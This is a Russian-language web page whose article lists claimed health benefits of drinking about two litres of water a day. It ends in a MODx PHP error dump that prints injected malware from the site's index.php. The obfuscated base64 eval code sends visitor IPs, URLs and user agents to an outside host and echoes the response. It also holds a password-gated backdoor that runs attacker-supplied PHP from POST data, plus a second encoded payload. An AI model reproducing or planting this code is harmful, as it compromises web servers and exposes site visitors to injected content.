Глоток-шоу

Глоток - шоу

Вы не очень любите воду? Не переживайте - вы просто не умеете ее пить. Простая вода - лучше всего, потому что она не содержит сахара, кофеина или других компонентов, изменяющих сознание и воздействующих на тело.

Всегда носите с собой бутылку с охлажденной водой емкостью примерно 0,5 - 1 л   на работе или в пути - и почаще отхлебывайте из нее весь день.

Выпивайте по паре стаканов простой воды за обедом и ужином. Если будете пить за едой, то натрий, находящийся в пище, поможет удержать в организме жидкость, от которой польза будет максимальной. Итак, если вы согласитесь на условные 2 литра питьевой воды в день, Вас ждут следующие полезные советы.

Эффект 1: Увеличение выносливости

Австралийские исследователи поставили эксперимент: пять человек занимались длительными тренировками, а ученые проверяли, как на их выносливость влияет количество поглощаемой ими жидкости. Оказалось, что, чем больше воды пили подопытные, тем меньше они тратили гликогена, расходуемого мышцами для выработки энергии. Проще говоря: чем больше пьешь, тем меньше устаешь (для профессионалов: по словам профессора физиологии и кинезиологии Пенсильванского университета д-ра У.Ларри Кении, когда запас жидкости в организме восполняется водой, мышцы используют ее компоненты /для выработки энергии, а не расщепляют собственный гликоген).

Эффект 2: Победа над простудой

Делая глоток, вспомните о том, что у нас во рту содержатся антитела, помогающие обезвреживать простудные вирусы. Но по словам доктора Джона Роджерса, профессора семейной и социальной медицины Бэйлорского медицинского колледжа, здесь есть одна проблема: эту хитрую защиту можно разрушить, если подвергнуть себя даже незначительной дегидратации. Недостаток воды иссушает ткани, вырабатывающие слюну. Так что давайте пить регулярно, а если все же придется простудиться, смотрим ниже как можно вылечиться природной водой.

Кашель; Прежде чем тянуться к сиропу от влажного кашля, предлагаем выпить стакан воды. Она служит отличным отхаркивадощим средством, по мнению доктора фармакологии Кеннета Лема из Калифорнийского университета. От сухого кашля, впрочем вода тоже помогает, поскольку участвует в важном, хоть и неблагозвучном процессе разжижения мокроты.

Жар:   Характерное   чувство   упадка,   возникающее   во   время   жара,   объясняется дегидратацией, утверждает доктор Роджерс. Организм выделяет с потом слишком много жидкости, обезвоживается, от этого возникает тошнота и вялость.

Эффект 3: Меньше побочных эффектов

Некоторые лекарства вызывают такие ощущения в желудке, что вполне можно забыть, от чего собрался лечится. Эти побочные эффекты нужно нейтрализовать водой. Чем большим количеством жидкости мы запиваем свой аспирин, цитрамон или тетрациклин, тем меньше шансов горчить желудочно-кишечный тракт, считает доктор Лем Вода растворяет лекарство, и оно не так концентрировано воздействует на какое-то место.

Эффект 4: Активизация мыслительного процесса

Интеллектуальные нагрузки после физических даются, как известно, с трудом. Хочется есть, спать, но никак не разбираться в хитростях бухучета. Объясняется это не только ленью, но физиологией. Литры воды, уходящие вместе с потом, уносят с собой и способность сосредотачиваться. "Нет никакого сомнения, что дегидратация воздействует на твои способности к принятию решений", считает доктор Майкл Савка, руководитель отдела термальной и горной медицины окружающей среды в Массачусетс. Поэтому, если после тренировки Вам вдруг срочно понадобиться сдать тест на 10, - попейте воды.

Эффект 5: Пунктуальность кишечника

"Если у тебя запор, возможно, ты просто мало пьешь", утверждает доктор Барбара Харланд, профессор диетологии университета Говард. Даже от клетчатки будет немного пользы, если не обеспечить кишечник достаточным количеством жидкости для промывания. Если же Вы изводите по рулону туалетной бумаги в день и только мечтаете о состоянии запора, вода тоже никак не повредит. Стул не укрепится от сокращения потребления жидкости, поскольку в расстройстве виноваты скорее всего бактерии.

Эффект 6: Предотвращение мочекаменной болезни

По мнению д-ра Гэри Кёрана, нефролога из Бостонского университета, от 8 до 10 стаканов воды в день значительно уменьшают возможность возникновения камней в почках. Соли будут активнее вымываться из почек, и кристаллы, которые со временем могут превратиться в камни, просто не будут успевать формироваться. Если же Вы имеете предрасположенность к мочекаменной болезни, старайтесь пить меньше яблочного и грейпфрутового сока. Исследования показывают, что их употребление увеличивает риск солеобразования в почках на 36%.

MODx Content Manager »

« MODx Parse Error »

MODx encountered the following error while attempting to parse the requested resource:
« PHP Parse Error »
 
PHP error debug
  Error: assert() [function.assert]: Assertion "eval(base64_decode("aWYgKCFpc3NldCgkaWJ2KSkgeyAgQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIixmYWxzZSk7QGVycm9yX3JlcG9ydGluZygwKTsKaWYoIWVtcHR5KCRfQ09PS0lFWyJjbGllbnRfY2hlY2siXSkgJiYgZW1wdHkoJGlidikpIHsgJGlidiA9ICRfQ09PS0lFWyJjbGllbnRfY2hlY2siXTsgIGVjaG8gJGlidjt9IGVsc2VpZiAoZW1wdHkoJGlidikpIHsKaWYgKHN0cnN0cigkX1NFUlZFUlsiSFRUUF9IT1NUIl0sICIxMjcuMCIpKXskbmFtZSA9ICRfU0VSVkVSWyJTRVJWRVJfQUREUiJdO31lbHNleyRuYW1lID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdO30KJHVzZXJhID0gaXNzZXQoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKT91cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKToiIjsKJHVybCA9ICJodHRwOi8vbGV0c2dvdG90b3AuY29tL2dldC5waHA/aXA9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIlJFTU9URV9BRERSIl0pLiImZD0iLnVybGVuY29kZSgkbmFtZS4kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSkuIiZ1PSIuJHVzZXJhLiImaT0xJmg9Ii5tZDUoIjRmNGQzYjhlNzBmYzNkODJhN2VjN2VhNWU2ODk1Y2FhMTEiKTsKaWYoZnVuY3Rpb25fZXhpc3RzKCJjdXJsX2luaXQiKSkgewokY2ggPSBjdXJsX2luaXQoJHVybCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIEZBTFNFKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDUpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgVFJVRSk7CiRpYnYgPSBjdXJsX2V4ZWMoJGNoKTskaW5mbyA9IGN1cmxfZ2V0aW5mbygkY2gpO2lmICgkaW5mb1siaHR0cF9jb2RlIl0hPTIwMCl7JGlidj0iIjt9CmN1cmxfY2xvc2UoJGNoKTsKfSBlbHNlaWYoaW5pX2dldCgiYWxsb3dfdXJsX2ZvcGVuIikgPT0gMSkgewokaWJ2ID0gZmlsZV9nZXRfY29udGVudHMoJHVybCk7Cn0KaWYoIWVtcHR5KCRfUE9TVFsicCJdKSAmJiBtZDUobWQ1KCRfUE9TVFsicCJdKSkgPT0gIjNmMTFlNmE0MmJjMWQ4MDE2MDUwMzEyYzc4OWRkNzFmIikgeyBAZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJjIl0pKTsgfQplY2hvICRpYnY7Cn0gfQ=="));" failed 
  Error type/ Nr.: Warning - 2 
  File: /web/vodaugorskaya/site/www/index.php 
  Line: 139 
  Line 139 source: $light = $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtDTyhnI9mMKDbVzEcp3OfLKysMKWlo3WmVvkzLJkmMFx7DTIlpz9lK3WypT9lqTyhMltjXGfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxtWvLtMJ1jqUxbWTyvqvxcVUftWTyvqvN9VPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKGftVTIwnT8tWTyvqwg9VTIfp2IcMvNbMJ1jqUxbWTyvqvxcVUfXnJLtXUA0paA0pvtxK1ASHyMSHyfvFSEHHS9VG1AHVy0fVPVkZwphZPVcXKfxozSgMFN9VPEsH0IFIxIFJlWGEIWJEIWsDHERHvWqB31yoUAyrlEhLJ1yVQ0tWS9GEIWJEIWoVxuHISOsFR9GIPWqB30XWUImMKWuVQ0tnKAmMKDbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXG91pzkyozAiMTHbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXGbvVwfXWUIloPN9VPWbqUEjBv8ioTI0p2qiqT90o3NhL29gY2qyqP5jnUN/nKN9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0cYvVzMQ0vYaIloTIhL29xMFtxozSgMF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFxhVvM1CFVhWUImMKWuYvVznG0kWzt9Vv5gMQHbVwEzATDmLwuyAmOzLmAxBQWuA2IwA2IuAJH2BQx1L2SuZGRvXGfXnJLbMaIhL3Eco25sMKucp3EmXPWwqKWfK2yhnKDvXFxtrjbxL2ttCFOwqKWfK2yhnKDbWUIloPx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9VEHSREIVfVRMOGSASXGgwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsD09BGxIQISEWGHICIIDfVQHcBlOwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsIRyAEH9IIPjtAFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvEcLaLtCFOwqKWfK2I4MJZbWTAbXGfxnJ5zolN9VTA1pzksM2I0nJ5zoltxL2tcB2yzVPtxnJ5zo1fvnUE0pS9wo2EyVy0uCGVjZPy7WTyvqw0vVwg9PzA1pzksL2kip2HbWTAbXGfXsFOyoUAynJLbnJ5cK2qyqPtvLJkfo3qsqKWfK2MipTIhVvxtCG0tZFxtrjbxnJW2VQ0tMzyfMI9aMKEsL29hqTIhqUZbWUIloPx7Pa0XnJLbVJIgpUE5XPEsHR9GISfvpPWqXFNzWvOgMQHboJD1XPEsHR9GISfvpPWqXFxtCG0tVwAzZGSyAzR0ZzWwZJD4ZQR2ZQHjZmRlLmp4BJExAmSzVvxtrlONMKMuoPumqUWcpUAfLKAbMKZbWS9DG1AHJlWwVy0cXGftsDcyL2uiVPEcLaL7Pa0tsD=="));'); $strings($light); ?> 
 
Parser timing
  MySQL: 0,0659 s(59 Requests)
  PHP: 0,1822 s 
  Total: 0,2481 s